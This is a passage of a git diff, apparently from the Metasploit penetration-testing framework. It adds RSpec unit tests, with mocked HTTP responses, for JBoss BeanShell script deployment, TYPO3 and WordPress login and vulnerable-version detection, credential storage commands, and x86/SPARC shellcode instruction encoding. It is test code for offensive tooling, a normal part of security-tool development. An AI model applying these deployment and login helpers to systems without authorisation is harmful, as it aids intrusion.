mod.extend Msf::HTTP::JBoss + mod.send(:initialize) + mod + end + + before :each do + allow(subject).to receive(:send_request_cgi) do + case res_code + when nil + res = nil + when 401 + res = Rex::Proto::Http::Response.new(401, "Authentication required") + when 404 + res = Rex::Proto::Http::Response::E404.new + when 200 + res = Rex::Proto::Http::Response::OK.new + else + res = Rex::Proto::Http::Response.new + res.code = res_code + end + + res + end + end + + let (:package) do + 'deployer' + end + + let (:bsh_script) do + 'String jboss_home = System.getProperty("jboss.server.home.dir");' + end + + describe '#deploy_bsh' do + context 'when deploy_package fails' do + let (:res_code) { 404 } + it { expect(subject.deploy_bsh(:bsh_script)).to be_nil } + end + + context 'when deploy_package successes' do + let (:res_code) { 200 } + it { expect(subject.deploy_bsh(:bsh_script)).to be_kind_of(String) } + end + end + + describe '#deploy_package' do + context 'when invoke_bsh_script returns a 200 response' do + let (:res_code) { 200 } + it { expect(subject.deploy_package(:bsh_script, :package)).to be_truthy } + end + + context 'when invoke_bsh_script returns a 404 response' do + let (:res_code) { 404 } + it { expect(subject.deploy_package(:bsh_script, :package)).to be_falsey } + end + + context 'when invoke_bsh_script returns a 401 response' do + let (:res_code) { 401 } + it { expect(subject.deploy_package(:bsh_script, :package)).to be_falsey } + end + + context 'when invoke_bsh_script returns nil' do + let (:res_code) { nil } + it { expect(subject.deploy_package(:bsh_script, :package)).to be_falsey } + end + end + + describe "#invoke_bsh_script" do + context 'when server timeouts' do + let (:res_code) { nil } + it { expect(subject.invoke_bsh_script(:bsh_script, :package)).to be_nil } + end + + context 'when server returns a 200 response' do + let (:res_code) { 200 } + it { expect(subject.invoke_bsh_script(:bsh_script, :package)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns a 404 response' do + let (:res_code) { 404 } + it { expect(subject.invoke_bsh_script(:bsh_script, :package)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns a 401 response' do + let (:res_code) { 401 } + it { expect(subject.invoke_bsh_script(:bsh_script, :package)).to be_kind_of Rex::Proto::Http::Response } + end + end + +end diff --git a/spec/lib/msf/http/typo3_spec.rb b/spec/lib/msf/http/typo3_spec.rb new file mode 100644 index 0000000000..329302b4f4 --- /dev/null +++ b/spec/lib/msf/http/typo3_spec.rb @@ -0,0 +1,139 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'rex/proto/http/response' +require 'msf/http/typo3' + +describe Msf::HTTP::Typo3 do + subject do + mod = ::Msf::Module.new + mod.extend described_class + mod + end + + let(:invalid_user) do + "invalid" + end + + let(:invalid_password) do + "invalid" + end + + let(:valid_user) do + "admin" + end + + let(:valid_password) do + "password" + end + + let(:valid_cookie) do + "be_typo_user=e31843639e5e17b9600602f9378b6ff0" + end + + describe '#target_uri' do + it 'returns an URI' do + expect(subject.target_uri).to be_kind_of URI + end + end + + describe '#typo3_url_login' do + it 'ends with /typo3/index.php' do + expect(subject.typo3_url_login).to end_with('/typo3/index.php') + end + end + + describe '#typo3_url_backend' do + it 'ends with /typo3/backend.php' do + expect(subject.typo3_url_backend).to end_with('/typo3/backend.php') + end + end + + describe '#typo3_admin_cookie_valid?' do + it 'returns true when valid admin cookie' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.body = '<body class="test" id="typo3-backend-php">' + res + end + + expect(subject.typo3_admin_cookie_valid?("#{valid_cookie};")).to eq(true) + end + + it 'returns false when invalid admin cookie' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res + end + + expect(subject.typo3_admin_cookie_valid?("invalid")).to eq(false) + end + end + + describe '#typo3_backend_login' do + + it 'returns nil login page can not be reached' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response::E404.new + res + end + + expect(subject.typo3_backend_login(valid_user, valid_password)).to be_nil + end + + it 'returns nil when login page can be reached but isn\'t a TYPO3' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.body = 'Hello World' + res + end + + expect(subject.typo3_backend_login(valid_user, valid_password)).to be_nil + end + + it 'returns nil when TYPO3 credentials are invalid' do + + allow(subject).to receive(:send_request_cgi) do |opts| + if opts['uri'] == "/typo3/index.php" && opts['method'] == 'GET' + res = Rex::Proto::Http::Response.new + res.body = '<input type="hidden" id="rsa_e" name="e" value="10001" />' + res.body << '<input type="hidden" id="rsa_n" name="n" value="B8C58D75B5F9DBCEBBF6FB96BDB9531C64C45DDED56D93B310FA9C79B9787E62C91157DD5842B2BC1D90C10251300571BEEF892776F25EAC80C2672A993B00DA2F1C966C3F70418274E1AC9C432F48F8CBD9D083F990905F7EC5BDFC1B5C93672E7ACBB3D935D0597864A1F732DD44B5C6E02344917543E33A36D68915B26DC9" />' + elsif opts['uri'] == "/typo3/index.php" && opts['method'] == 'POST' + res = Rex::Proto::Http::Response.new + res.body = '<!-- ###LOGIN_ERROR### begin -->Login Failed<!-- ###LOGIN_ERROR### end -->' + else + res = Rex::Proto::Http::Response::E404.new + end + + res + end + + expect(subject.typo3_backend_login(invalid_user, invalid_password)).to be_nil + end + + it 'returns a cookie string when TYPO3 credentials are valid' do + allow(subject).to receive(:send_request_cgi) do |opts| + if opts['uri'] == "/typo3/index.php" && opts['method'] == 'GET' + res = Rex::Proto::Http::Response.new + res.body = '<input type="hidden" id="rsa_e" name="e" value="10001" />' + res.body << '<input type="hidden" id="rsa_n" name="n" value="B8C58D75B5F9DBCEBBF6FB96BDB9531C64C45DDED56D93B310FA9C79B9787E62C91157DD5842B2BC1D90C10251300571BEEF892776F25EAC80C2672A993B00DA2F1C966C3F70418274E1AC9C432F48F8CBD9D083F990905F7EC5BDFC1B5C93672E7ACBB3D935D0597864A1F732DD44B5C6E02344917543E33A36D68915B26DC9" />' + elsif opts['uri'] == "/typo3/index.php" && opts['method'] == 'POST' + res = Rex::Proto::Http::Response.new + res.headers['Set-Cookie'] = "#{valid_cookie};" + elsif opts['uri'] == "/typo3/backend.php" && opts['method'] == 'GET' + res = Rex::Proto::Http::Response.new + res.body = '<body class="test" id="typo3-backend-php">' + res + else + res = Rex::Proto::Http::Response::E404.new + end + + res + end + + expect(subject.typo3_backend_login(valid_user, valid_password)).to include(valid_cookie) + end + end + +end diff --git a/spec/lib/msf/http/wordpress/base_spec.rb b/spec/lib/msf/http/wordpress/base_spec.rb new file mode 100644 index 0000000000..596042370e --- /dev/null +++ b/spec/lib/msf/http/wordpress/base_spec.rb @@ -0,0 +1,57 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit' +require 'rex/proto/http/response' +require 'msf/http/wordpress' + +describe Msf::HTTP::Wordpress::Base do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::HTTP::Wordpress + mod.send(:initialize) + mod + end + + describe '#wordpress_and_online?' do + before :each do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.code = wp_code + res.body = wp_body + res + end + end + + let(:wp_code) { 200 } + + context 'when wp-content in body' do + let(:wp_body) { '<a href="http://domain.com/wp-content/themes/a/style.css">' } + it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when wlwmanifest in body' do + let(:wp_body) { '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://domain.com/wp-includes/wlwmanifest.xml" />' } + it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when pingback in body' do + let(:wp_body) { '<link rel="pingback" href="https://domain.com/xmlrpc.php" />' } + it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when status code != 200' do + let(:wp_body) { nil } + let(:wp_code) { 404 } + it { expect(subject.wordpress_and_online?).to be_nil } + end + + context 'when no match in body' do + let(:wp_body) { 'Invalid body' } + it { expect(subject.wordpress_and_online?).to be_nil } + end + + end + +end diff --git a/spec/lib/msf/http/wordpress/login_spec.rb b/spec/lib/msf/http/wordpress/login_spec.rb new file mode 100644 index 0000000000..6b726fa710 --- /dev/null +++ b/spec/lib/msf/http/wordpress/login_spec.rb @@ -0,0 +1,73 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit' +require 'rex/proto/http/response' +require 'msf/http/wordpress' + +describe Msf::HTTP::Wordpress::Login do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::HTTP::Wordpress + mod.send(:initialize) + mod + end + + describe '#wordpress_login' do + before :each do + allow(subject).to receive(:send_request_cgi) do |opts| + res = Rex::Proto::Http::Response.new + res.code = 301 + if wp_redirect + res['Location'] = wp_redirect + else + res['Location'] = opts['vars_post']['redirect_to'] + end + res['Set-Cookie'] = wp_cookie + res.body = 'My Homepage' + res + end + end + + let(:wp_redirect) { nil } + + context 'when current Wordpress' do + let(:wp_cookie) { 'wordpress_logged_in_1234=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when current Wordpress sec cookie' do + let(:wp_cookie) { 'wordpress_sec_logged_in_1234=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when Wordpress 2.5' do + let(:wp_cookie) { 'wordpress_asdf=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when Wordpress 2.0 user cookie' do + let(:wp_cookie) { 'wordpressuser_1234=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when Wordpress 2.0 pass cookie' do + let(:wp_cookie) { 'wordpresspass_1234=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when invalid login' do + let(:wp_cookie) { 'invalid=cookie;' } + it { expect(subject.wordpress_login('invalid', 'login')).to be_nil } + end + + context 'when invalid redirect' do + let(:wp_cookie) { 'invalid=cookie;' } + let(:wp_redirect) { '/invalid/redirect' } + it { expect(subject.wordpress_login('invalid', 'login')).to be_nil } + end + + end + +end diff --git a/spec/lib/msf/http/wordpress/version_spec.rb b/spec/lib/msf/http/wordpress/version_spec.rb new file mode 100644 index 0000000000..b5a2a4190a --- /dev/null +++ b/spec/lib/msf/http/wordpress/version_spec.rb @@ -0,0 +1,134 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit' +require 'rex/proto/http/response' +require 'msf/http/wordpress' + +describe Msf::HTTP::Wordpress::Version do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::HTTP::Wordpress + mod.send(:initialize) + mod + end + + describe '#wordpress_version' do + before :each do + allow(subject).to receive(:send_request_cgi) do |opts| + res = Rex::Proto::Http::Response.new + res.code = 200 + res.body = wp_body + res + end + end + + let(:wp_version) { + r = Random.new + "#{r.rand(10)}.#{r.rand(10)}.#{r.rand(10)}" + } + + context 'when version from generator' do + let(:wp_body) { '<meta name="generator" content="WordPress ' << wp_version << '" />' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from readme' do + let(:wp_body) { " <br /> Version #{wp_version}" } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from rss' do + let(:wp_body) { "<generator>http://wordpress.org/?v=#{wp_version}</generator>" } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from rdf' do + let(:wp_body) { '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' << wp_version << '" />' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from atom' do + let(:wp_body) { '<generator uri="http://wordpress.org/" version="' << wp_version << '">WordPress</generator>' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from sitemap' do + let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from opml' do + let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + end + + describe '#check_version_from_readme' do + before :each do + allow(subject).to receive(:send_request_cgi) do |opts| + res = Rex::Proto::Http::Response.new + res.code = wp_code + res.body = wp_body + res + end + end + + let(:wp_code) { 200 } + let(:wp_body) { nil } + let(:wp_fixed_version) { nil } + + context 'when no readme is found' do + let(:wp_code) { 404 } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) } + end + + context 'when no version can be extracted from readme' do + let(:wp_code) { 200 } + let(:wp_body) { 'invalid content' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) } + end + + context 'when installed version is vulnerable' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_body) { 'stable tag: 1.0.0' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) } + end + + context 'when installed version is not vulnerable' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_body) { 'stable tag: 1.0.2' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + context 'when installed version is vulnerable (version range)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.2' } + let(:wp_introd_version) { '1.0.0' } + let(:wp_body) { 'stable tag: 1.0.1' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) } + end + + context 'when installed version is older (version range)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_introd_version) { '1.0.0' } + let(:wp_body) { 'stable tag: 0.0.9' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + context 'when installed version is newer (version range)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_introd_version) { '1.0.0' } + let(:wp_body) { 'stable tag: 1.0.2' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + end + +end diff --git a/spec/lib/msf/service_state_spec.rb b/spec/lib/msf/service_state_spec.rb new file mode 100644 index 0000000000..cf81bc345f --- /dev/null +++ b/spec/lib/msf/service_state_spec.rb @@ -0,0 +1,35 @@ +RSpec.describe Msf::ServiceState do + context 'CONSTANTS' do + context 'Closed' do + subject(:closed) { + described_class::Closed + } + + it { is_expected.to eq('closed') } + end + + context 'Filtered' do + subject(:filtered) { + described_class::Filtered + } + + it { is_expected.to eq('filtered') } + end + + context 'Open' do + subject(:open) { + described_class::Open + } + + it { is_expected.to eq('open') } + end + + context 'Unknown' do + subject(:unknown) { + described_class::Unknown + } + + it { is_expected.to eq('unknown') } + end + end +end \ No newline at end of file diff --git a/spec/lib/msf/ui/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/command_dispatcher/db_spec.rb index 52baca5d93..a200918f6c 100644 --- a/spec/lib/msf/ui/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/db_spec.rb @@ -11,6 +11,37 @@ describe Msf::Ui::Console::CommandDispatcher::Db do described_class.new(driver) end + describe "#cmd_creds" do + describe "add-password" do + let(:username) { "username" } + let(:password) { "password" } + context "when no core exists" do + it "should add a Core" do + expect { + subject.cmd_creds("add-password", username, password) + }.to change{ Metasploit::Credential::Core.count }.by 1 + end + end + context "when a core already exists" do + before(:each) do + priv = FactoryGirl.create(:metasploit_credential_password, data: password) + pub = FactoryGirl.create(:metasploit_credential_public, username: username) + core = FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + end + it "should not add a Core" do + expect { + subject.cmd_creds("add-password", username, password) + }.to_not change{ Metasploit::Credential::Core.count } + end + end + end + end + describe "#cmd_workspace" do describe "-h" do it "should show a help message" do @@ -43,7 +74,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do " -o <file> Send output to a file in csv format", " -R,--rhosts Set RHOSTS from the results of the search", " -S,--search Search string to filter by", - "Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" + "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" ] end end @@ -73,9 +104,9 @@ describe Msf::Ui::Console::CommandDispatcher::Db do describe "-p" do before(:each) do host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + FactoryGirl.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp') + FactoryGirl.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp') + FactoryGirl.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp') end it "should list services that are on a given port" do db.cmd_services "-p", "1024,1025" @@ -83,10 +114,10 @@ describe Msf::Ui::Console::CommandDispatcher::Db do "Services", "========", "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1024 snmp open ", - "192.168.0.1 1025 snmp open " + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1024 udp Service1 open ", + "192.168.0.1 1025 tcp Service2 open " ] end end @@ -98,7 +129,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do FactoryGirl.create(:mdm_service, :host => host, :port => 1026) end it "should list services that are not on a given port" do - pending("refs redmine ticket #4821") { + skip("refs redmine ticket #4821") { db.cmd_services "-np", "1024" @output.should =~ [ @@ -183,35 +214,31 @@ describe Msf::Ui::Console::CommandDispatcher::Db do end +=begin describe "#cmd_creds" do describe "-h" do it "should show a help message" do db.cmd_creds "-h" @output.should =~ [ "Usage: creds [addr range]", - "Usage: creds -a <addr range> -p <port> -t <type> -u <user> -P <pass>", - " -a,--add Add creds to the given addresses instead of listing", - " -d,--delete Delete the creds instead of searching", + "List credentials. If an address range is given, show only credentials with", + "logins on hosts within that range.", " -h,--help Show this help information", - " -o <file> Send output to a file in csv format", - " -p,--port <portspec> List creds matching this port spec", - " -s <svc names> List creds matching these service names", - " -t,--type <type> Add a cred of this type (only with -a). Default: password", - " -u,--user Add a cred for this user (only with -a). Default: blank", - " -P,--password Add a cred with this password (only with -a). Default: blank", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", " -c,--columns Columns of interest", + " -P,--password <regex> List passwords that match this regex", + " -p,--port <portspec> List creds with logins on services matching this port spec", + " -s <svc names> List creds matching comma-separated service names", + " -u,--user <regex> List users that match this regex", "Examples:", - " creds # Default, returns all active credentials", - " creds all # Returns all credentials active or not", + " creds # Default, returns all credentials", " creds 1.2.3.4/24 # nmap host specification", " creds -p 22-25,445 # nmap port specification", - " creds 10.1.*.* -s ssh,smb all" + " creds -s ssh,smb # All creds associated with a login on SSH or SMB services" ] end end end +=end describe "#cmd_db_import" do describe "-h" do diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 5c7a4f7038..2244945d67 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -24,6 +24,12 @@ describe Msf::Util::EXE do end end + describe '.is_eicar_corrupted?' do + it 'returns false' do + expect(described_class.is_eicar_corrupted?).to eq(false) + end + end + describe '.to_executable_fmt' do it "should output nil when given a bogus format" do bin = subject.to_executable_fmt($framework, "", "", "", "does not exist", {}) @@ -57,8 +63,8 @@ describe Msf::Util::EXE do fmt = format_hash[:format] arch = format_hash[:arch] - if format_hash[:pending] - pending "returns an executable when given arch=#{arch}, fmt=#{fmt}" + if format_hash[:skip] + skip "returns an executable when given arch=#{arch}, fmt=#{fmt}" next end diff --git a/spec/lib/rex/arch/sparc_spec.rb b/spec/lib/rex/arch/sparc_spec.rb new file mode 100644 index 0000000000..ed0c5b7721 --- /dev/null +++ b/spec/lib/rex/arch/sparc_spec.rb @@ -0,0 +1,153 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/arch/sparc' + +describe Rex::Arch::Sparc do + + describe ".sethi" do + subject { described_class.sethi(constant, dst) } + + let(:constant) { 0 } + + context "when valid dst register" do + let(:dst) { 'g3' } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns a 4 bytes length String" do + expect(subject.length).to eq(4) + end + + it "encodes a valid sethi instruction" do + is_expected.to eq("\x07\x00\x00\x00") + end + end + + context "when invalid dst register" do + let(:dst) { 'error' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".ori" do + subject { described_class.ori(src, constant, dst) } + + let(:constant) { 0 } + + context "when valid registers" do + let(:src) { 'g5' } + let(:dst) { 'g3' } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns a 4 bytes length String" do + expect(subject.length).to eq(4) + end + + it "encodes a valid ori instruction" do + is_expected.to eq("\x86\x11\x60\x00") + end + end + + context "when invalid src register" do + let(:src) { 'invalid' } + let(:dst) { 'g3' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + + context "when invalid dst register" do + let(:src) { 'g5' } + let(:dst) { 'invalid' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".set" do + subject { described_class.set(constant, dst) } + + context "when invalid dst register" do + let(:constant) { 0 } + let(:dst) { 'error' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + + context "when constant <= 4095 and constant >= 0" do + let(:constant) { 0 } + let(:dst) { 'g3' } + + it "uses ori instruction" do + expect(described_class).to receive(:ori).and_call_original + is_expected.to eq("\x86\x10\x20\x00") + end + end + + context "when constant & 0x3ff != 0" do + let(:constant) { 0x1001 } + let(:dst) { 'g3' } + + it "uses set dword instruction" do + expect(described_class).to receive(:set_dword).and_call_original + is_expected.to eq("\x07\x00\x00\x04\x86\x10\xe0\x01") + end + end + + context "when other constant" do + let(:constant) { 0x1c00 } + let(:dst) { 'g3' } + + it "uses sethi instruction" do + expect(described_class).to receive(:sethi).and_call_original + is_expected.to eq("\x07\x00\x00\x07") + end + end + end + + describe ".set_dword" do + subject { described_class.set_dword(constant, dst) } + + let(:constant) { 0x1001 } + + context "when valid dst register" do + let(:dst) { 'g3' } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns a 8 bytes length String" do + expect(subject.length).to eq(8) + end + + it "encodes a valid sequence of sethi and ori instructions" do + is_expected.to eq("\x07\x00\x00\x04\x86\x10\xe0\x01") + end + end + + context "when invalid dst register" do + let(:dst) { 'error' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + +end diff --git a/spec/lib/rex/arch/x86_spec.rb b/spec/lib/rex/arch/x86_spec.rb new file mode 100644 index 0000000000..8596caa862 --- /dev/null +++ b/spec/lib/rex/arch/x86_spec.rb @@ -0,0 +1,1016 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/arch/x86' + +describe Rex::Arch::X86 do + + describe ".reg_number" do + subject { described_class.reg_number(register) } + + context "when valid argument" do + context "in upcase" do + let(:register) { "EAX" } + it { is_expected.to eq(Rex::Arch::X86::EAX) } + end + + context "in downcase" do + let(:register) { "esi" } + it { is_expected.to eq(Rex::Arch::X86::ESI) } + end + end + + context "when invalid argument" do + let(:register) { "non_existent" } + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".pack_word" do + subject { described_class.pack_word(num) } + let(:num) { 0x4142 } + + it "packs as unsigned 16 little endian " do + is_expected.to eq("BA") + end + + context "when arguments longer than 16-bit unsigned" do + let(:num) { 0x41414242 } + it "truncates" do + is_expected.to eq("BB") + end + end + end + + + describe ".pack_dword" do + subject { described_class.pack_dword(num) } + let(:num) { 0x41424344 } + + it "packs as unsigned 32 little endian " do + is_expected.to eq("DCBA") + end + + context "when arguments longer than 32-bit unsigned" do + let(:num) { 0x4142424242 } + it "truncates" do + is_expected.to eq("BBBB") + end + end + end + + describe ".pack_lsb" do + subject { described_class.pack_lsb(num) } + let(:num) { 0x41424344 } + + it "returns the least significant byte of a packed dword" do + is_expected.to eq("D") + end + end + + describe "._check_reg" do + context "when single argument" do + context "is valid" do + it { expect(described_class._check_reg(Rex::Arch::X86::EDI)).to be_nil } + end + + context "is invalid" do + it { expect { described_class._check_reg(0xfffffff) }.to raise_error(Rex::ArgumentError) } + end + end + + context "when several arguments" do + context "are valid" do + it { expect(described_class._check_reg(Rex::Arch::X86::EDI, Rex::Arch::X86::ESI)).to be_nil } + end + + context "include an invalid one" do + it { expect { described_class._check_reg(Rex::Arch::X86::EDI, 0xfffffff) }.to raise_error(Rex::ArgumentError) } + end + end + end + + describe "._check_badchars" do + subject { described_class._check_badchars("Test", badchars) } + + context "when data contains badchars" do + let(:badchars) { "sac" } + + it "raises an error" do + expect { subject }.to raise_error(Rex::RuntimeError) + end + end + + context "when data doesn't contain badhars" do + let(:badchars) { "dac" } + it { is_expected.to eq("Test") } + end + end + + describe ".fpu_instructions" do + subject { described_class.fpu_instructions } + + it "returns an Array" do + is_expected.to be_an(Array) + end + + it "includes valid FPU instructions" do + is_expected.to include("\xd9\xd0") + is_expected.to include("\xda\xc0") + end + end + + describe ".jmp_reg" do + subject { described_class.jmp_reg(reg) } + + context "when valid register" do + let(:reg) { "eax" } + it { is_expected.to eq("\xFF\xE0") } + end + + context "when invalid register" do + let(:reg) { "non_existent"} + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".rel_number" do + + context "when no delta argument" do + subject { described_class.rel_number(num) } + + context "num argument starts with $+" do + let(:num) { "$+20" } + it { is_expected.to eq(20)} + end + + context "num argument is $+" do + let(:num) { "$+" } + it { is_expected.to eq(0)} + end + + context "num argument starts with $-" do + let(:num) { "$-20" } + it { is_expected.to eq(-20)} + end + + context "num argument is $-" do + let(:num) { "$-" } + it { is_expected.to eq(0)} + end + + context "num argument starts with 0x" do + let(:num) { "0x20" } + it { is_expected.to eq(32)} + end + + context "num argument is 0x" do + let(:num) { "0x" } + it { is_expected.to eq(0)} + end + + context "num argument is other string" do + let(:num) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + + context "num argument is a number" do + let(:num) { 20 } + it { is_expected.to eq(20) } + end + end + + context "when there is delta argument" do + subject { described_class.rel_number(num, delta) } + let(:delta) { 20 } + + context "num argument starts with $+" do + let(:num) { "$+20" } + it { is_expected.to eq(40)} + end + + context "num argument is $+" do + let(:num) { "$+" } + it { is_expected.to eq(20)} + end + + context "num argument starts with $-" do + let(:num) { "$-20" } + it { is_expected.to eq(0)} + end + + context "num argument is $-" do + let(:num) { "$-" } + it { is_expected.to eq(20)} + end + + context "num argument starts with 0x" do + let(:num) { "0x20" } + it { is_expected.to eq(52)} + end + + context "num argument is 0x" do + let(:num) { "0x" } + it { is_expected.to eq(20)} + end + + context "num argument is other string" do + let(:num) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + + context "num argument is a number" do + let(:num) { 20 } + it { is_expected.to eq(20) } + end + end + end + + describe ".loop" do + subject { described_class.loop(offset) } + + context "offset argument is number" do + context "1" do + let(:offset) { 1 } + it { is_expected.to eq("\xE2\x01") } + end + + context "255" do + let(:offset) { 255 } + it { is_expected.to eq("\xE2\xFF") } + end + + context "within half-word range" do + let(:offset) { 65534 } + it "truncates offset" do + is_expected.to eq("\xE2\xFE") + end + end + end + + context "offset argument is string" do + context "starting with $+" do + let(:offset) { "$+20" } + it { is_expected.to eq("\xe2\x12") } + end + + context "$+" do + let(:offset) { "$+" } + it { is_expected.to eq("\xe2\xfe") } + end + + context "starting with $-" do + let(:offset) { "$-20" } + it { is_expected.to eq("\xe2\xea") } + end + + context "$-" do + let(:offset) { "$-" } + it { is_expected.to eq("\xe2\xfe") } + end + + context "starting with 0x" do + let(:offset) { "0x20" } + it { is_expected.to eq("\xe2\x1e") } + end + + context "0x" do + let(:offset) { "0x" } + it { is_expected.to eq("\xe2\xfe") } + end + + context "0x41ff" do + let(:offset) { "0x41ff" } + it "truncates offset" do + is_expected.to eq("\xe2\xfd") + end + end + + context "starting in another way" do + let(:offset) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".jmp" do + subject { described_class.jmp(addr) } + + context "addr is number" do + let(:addr) { 0x41424344 } + it { is_expected.to eq("\xE9\x44\x43\x42\x41") } + end + + context "addr is string" do + context "starting with $+" do + let(:addr) { "$+200" } + it { is_expected.to eq("\xe9\xc8\x00\x00\x00") } + end + + context "$+" do + let(:addr) { "$+" } + it { is_expected.to eq("\xe9\x00\x00\x00\x00") } + end + + context "starting with $-" do + let(:addr) { "$-20" } + it { is_expected.to eq("\xe9\xec\xff\xff\xff") } + end + + context "$-" do + let(:addr) { "$-" } + it { is_expected.to eq("\xe9\x00\x00\x00\x00") } + end + + context "starting with 0x" do + let(:addr) { "0x41424344" } + it { is_expected.to eq("\xe9\x44\x43\x42\x41") } + end + + context "0x" do + let(:addr) { "0x" } + it { is_expected.to eq("\xe9\x00\x00\x00\x00") } + end + + context "starting in another way" do + let(:addr) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".dword_adjust" do + + context "when one byte string is sent as dword" do + subject { described_class.dword_adjust(dword) } + let(:dword) { "\xff"} + 